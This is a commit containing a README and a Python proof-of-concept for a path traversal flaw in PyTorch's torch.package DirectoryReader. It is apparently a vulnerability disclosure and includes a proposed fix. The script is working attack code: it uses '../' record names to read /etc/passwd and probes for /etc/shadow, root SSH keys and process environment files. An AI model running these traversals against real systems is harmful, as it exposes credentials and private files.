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Browse files- README.md +20 -0
- poc_dirreader_traversal.py +269 -0
README.md
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# PoC: DirectoryReader Path Traversal β Arbitrary File Read
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**Vulnerability:** `torch/package/_directory_reader.py:35-48` β All three methods (`get_record()`, `get_storage_from_record()`, `has_record()`) construct file paths by concatenating the base directory with unsanitized user-supplied names. Path traversal via `../` sequences reads arbitrary files from the filesystem.
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## Files
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- `poc_dirreader_traversal.py` β Full PoC (path traversal + filesystem probing + realistic scenario)
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## Quick Start
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```bash
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pip install torch
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python poc_dirreader_traversal.py
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```
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## Expected Output
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- `get_record("../../../../etc/passwd")` reads /etc/passwd (3454 bytes, 60 lines)
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- `has_record()` probes filesystem for sensitive files (SSH keys, /proc/self/environ, etc.)
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- Realistic malicious package scenario reads /etc/passwd via DirectoryReader
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poc_dirreader_traversal.py
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#!/usr/bin/env python3
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"""
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PoC: Path Traversal in DirectoryReader β Arbitrary File Read
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Vulnerability: torch.package._directory_reader.DirectoryReader constructs file
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paths by concatenating its base directory with unsanitized user/package-supplied
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names. The get_record(), get_storage_from_record(), and has_record() methods
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all use f-string path construction with NO validation:
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def get_record(self, name):
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filename = f"{self.directory}/{name}" # NO PATH VALIDATION
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with open(filename, "rb") as f:
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return f.read()
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Path traversal via "../" sequences reads arbitrary files from the filesystem.
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DirectoryReader is used by PackageImporter when loading unzipped torch.package
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directories. A malicious package with crafted record names can read any file
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accessible to the process (e.g., /etc/passwd, SSH keys, environment files).
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Root cause: torch/package/_directory_reader.py:36, 41, 47
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Tested: PyTorch 2.10.0+cpu on Python 3.13.11
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"""
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import os
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import sys
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import tempfile
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import torch
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from torch.package._directory_reader import DirectoryReader
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def demonstrate_direct_traversal():
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"""Demonstrate path traversal via DirectoryReader.get_record()."""
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print()
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print("=" * 70)
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print(" Part 1: Direct Path Traversal via get_record()")
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print("=" * 70)
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print()
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# Create a temporary directory to use as the package base
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tmpdir = tempfile.mkdtemp(prefix="pkg_")
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reader = DirectoryReader(tmpdir)
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print(f" DirectoryReader base: {tmpdir}")
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print()
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# Demonstrate path traversal to read /etc/passwd
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traversal_path = "../../../../etc/passwd"
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resolved = os.path.normpath(f"{tmpdir}/{traversal_path}")
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print(f" get_record('{traversal_path}')")
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print(f" Resolves to: {resolved}")
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print()
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try:
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data = reader.get_record(traversal_path)
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content = data.decode("utf-8", errors="replace")
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lines = content.strip().split("\n")
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print(f" [+] SUCCESS β Read {len(data)} bytes from /etc/passwd")
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print(f" [+] Lines: {len(lines)}")
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print()
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# Show first few lines as proof
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print(" Contents (first 5 lines):")
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for line in lines[:5]:
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print(f" {line}")
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print()
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return True
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except FileNotFoundError:
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print(" [-] File not found (expected on some systems)")
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return False
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except Exception as e:
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print(f" [-] Error: {type(e).__name__}: {e}")
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return False
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def demonstrate_has_record_traversal():
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"""Demonstrate path traversal via has_record() for filesystem probing."""
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print()
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print("=" * 70)
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print(" Part 2: Filesystem Probing via has_record()")
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print("=" * 70)
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print()
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tmpdir = tempfile.mkdtemp(prefix="pkg_")
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reader = DirectoryReader(tmpdir)
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print(f" DirectoryReader base: {tmpdir}")
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print()
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# Probe for sensitive files
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probes = [
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("../../../../etc/passwd", "System users"),
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("../../../../etc/shadow", "Password hashes (needs root)"),
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("../../../../etc/hostname", "Hostname"),
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("../../../../root/.ssh/id_rsa", "Root SSH key"),
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("../../../../root/.bashrc", "Root bashrc"),
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("../../../../proc/self/environ", "Process environment"),
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]
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print(" Probing for sensitive files via has_record():")
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print()
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found_count = 0
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for path, desc in probes:
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exists = reader.has_record(path)
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status = "EXISTS" if exists else "not found"
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if exists:
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found_count += 1
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print(f" has_record('{path}'): {status} ({desc})")
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print()
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print(f" [+] Found {found_count} files via path traversal probing")
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return found_count > 0
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def demonstrate_storage_traversal():
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"""Demonstrate path traversal via get_storage_from_record()."""
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print()
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print("=" * 70)
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print(" Part 3: File Read via get_storage_from_record()")
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print("=" * 70)
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print()
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tmpdir = tempfile.mkdtemp(prefix="pkg_")
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reader = DirectoryReader(tmpdir)
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print(f" DirectoryReader base: {tmpdir}")
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print()
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# Read /etc/hostname as a storage (raw bytes)
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traversal_path = "../../../../etc/hostname"
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resolved = os.path.normpath(f"{tmpdir}/{traversal_path}")
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print(f" get_storage_from_record('{traversal_path}', ...)")
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print(f" Resolves to: {resolved}")
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print()
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try:
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# Read as uint8 storage
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result = reader.get_storage_from_record(
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traversal_path, 256, torch.uint8
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)
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storage = result.storage()
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data = bytes(storage[:storage.nbytes()])
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content = data.rstrip(b'\x00').decode('utf-8', errors='replace').strip()
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print(f" [+] SUCCESS β Read {len(data)} bytes via storage API")
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print(f" [+] Content: {content}")
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print()
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return True
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| 147 |
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except FileNotFoundError:
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| 148 |
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print(f" [-] File not found")
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| 149 |
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return False
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| 150 |
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except Exception as e:
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| 151 |
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print(f" [-] Error: {type(e).__name__}: {e}")
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| 152 |
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return False
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| 153 |
+
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| 154 |
+
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| 155 |
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def demonstrate_package_importer_scenario():
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| 156 |
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"""Show realistic attack: malicious unzipped package reads /etc/passwd."""
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print()
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print("=" * 70)
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| 159 |
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print(" Part 4: Realistic Attack β Malicious Unzipped Package")
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| 160 |
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print("=" * 70)
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print()
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| 162 |
+
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# Create a minimal unzipped package directory
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| 164 |
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tmpdir = tempfile.mkdtemp(prefix="malicious_pkg_")
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os.makedirs(os.path.join(tmpdir, ".data"), exist_ok=True)
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+
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| 167 |
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# extern_modules file (required by PackageImporter)
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| 168 |
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with open(os.path.join(tmpdir, ".data", "extern_modules"), "w") as f:
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f.write("")
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| 170 |
+
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| 171 |
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print(f" Created fake unzipped package: {tmpdir}")
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| 172 |
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print()
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| 173 |
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print(" Attack scenario:")
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| 174 |
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print(" 1. Attacker creates a malicious unzipped torch.package directory")
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| 175 |
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print(" 2. Package pickle references records with ../ traversal paths")
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| 176 |
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print(" 3. Victim loads package with PackageImporter(directory)")
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| 177 |
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print(" 4. PackageImporter creates DirectoryReader(directory)")
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| 178 |
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print(" 5. DirectoryReader.get_record() reads files outside the package")
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| 179 |
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print()
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| 180 |
+
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| 181 |
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# Show that DirectoryReader is created for directories
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| 182 |
+
from torch.package._directory_reader import DirectoryReader
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| 183 |
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reader = DirectoryReader(tmpdir)
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| 184 |
+
|
| 185 |
+
# Demonstrate the traversal
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| 186 |
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try:
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| 187 |
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data = reader.get_record("../../../../etc/passwd")
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| 188 |
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lines = data.decode("utf-8", errors="replace").strip().split("\n")
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| 189 |
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print(f" [+] DirectoryReader read /etc/passwd: {len(lines)} lines")
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| 190 |
+
return True
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| 191 |
+
except Exception as e:
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| 192 |
+
print(f" [-] Error: {e}")
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| 193 |
+
return False
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| 194 |
+
|
| 195 |
+
|
| 196 |
+
def demonstrate_vulnerability_pattern():
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| 197 |
+
"""Show the vulnerable code."""
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| 198 |
+
print()
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| 199 |
+
print("=" * 70)
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| 200 |
+
print(" Part 5: Vulnerability Details")
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| 201 |
+
print("=" * 70)
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| 202 |
+
print()
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| 203 |
+
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| 204 |
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print(" All three methods are vulnerable (_directory_reader.py:35-48):")
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| 205 |
+
print()
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| 206 |
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print(" def get_record(self, name): # line 35")
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| 207 |
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print(" filename = f\"{self.directory}/{name}\" # NO VALIDATION")
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| 208 |
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print(" with open(filename, \"rb\") as f:")
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| 209 |
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print(" return f.read()")
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print()
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| 211 |
+
print(" def get_storage_from_record(self, name, numel, dtype): # line 40")
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| 212 |
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print(" filename = f\"{self.directory}/{name}\" # NO VALIDATION")
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+
print(" ...")
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| 214 |
+
print(" return _HasStorage(storage.from_file(filename=filename, ...))")
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| 215 |
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print()
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| 216 |
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print(" def has_record(self, path): # line 46")
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| 217 |
+
print(" full_path = os.path.join(self.directory, path) # NO VALIDATION")
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| 218 |
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print(" return os.path.isfile(full_path)")
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| 219 |
+
print()
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| 220 |
+
print(" FIX: Validate that the resolved path stays within self.directory:")
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| 221 |
+
print(" βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ")
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print(" def _safe_path(self, name):")
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| 223 |
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print(" full = os.path.realpath(os.path.join(self.directory, name))")
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| 224 |
+
print(" base = os.path.realpath(self.directory)")
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| 225 |
+
print(" if not full.startswith(base + os.sep):")
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| 226 |
+
print(" raise ValueError(f'Path traversal: {name}')")
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| 227 |
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print(" return full")
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| 228 |
+
print()
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| 229 |
+
|
| 230 |
+
|
| 231 |
+
def main():
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| 232 |
+
print()
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| 233 |
+
print(" PoC: DirectoryReader Path Traversal β Arbitrary File Read")
|
| 234 |
+
print(f" PyTorch {torch.__version__}, Python {sys.version.split()[0]}")
|
| 235 |
+
print()
|
| 236 |
+
|
| 237 |
+
# Part 1: Direct traversal
|
| 238 |
+
read_ok = demonstrate_direct_traversal()
|
| 239 |
+
|
| 240 |
+
# Part 2: Filesystem probing
|
| 241 |
+
probe_ok = demonstrate_has_record_traversal()
|
| 242 |
+
|
| 243 |
+
# Part 3: Storage read
|
| 244 |
+
storage_ok = demonstrate_storage_traversal()
|
| 245 |
+
|
| 246 |
+
# Part 4: Realistic scenario
|
| 247 |
+
scenario_ok = demonstrate_package_importer_scenario()
|
| 248 |
+
|
| 249 |
+
# Part 5: Vulnerability details
|
| 250 |
+
demonstrate_vulnerability_pattern()
|
| 251 |
+
|
| 252 |
+
# Summary
|
| 253 |
+
print("=" * 70)
|
| 254 |
+
print(" RESULTS:")
|
| 255 |
+
if read_ok:
|
| 256 |
+
print(" [+] get_record(): Read /etc/passwd via path traversal")
|
| 257 |
+
if probe_ok:
|
| 258 |
+
print(" [+] has_record(): Probed filesystem for sensitive files")
|
| 259 |
+
if storage_ok:
|
| 260 |
+
print(" [+] get_storage_from_record(): Read file via storage API")
|
| 261 |
+
if scenario_ok:
|
| 262 |
+
print(" [+] Realistic scenario: Malicious package reads /etc/passwd")
|
| 263 |
+
print(" [+] Root cause: no path validation in DirectoryReader methods")
|
| 264 |
+
print(" [+] Fix: validate resolved path stays within base directory")
|
| 265 |
+
print("=" * 70)
|
| 266 |
+
|
| 267 |
+
|
| 268 |
+
if __name__ == "__main__":
|
| 269 |
+
main()
|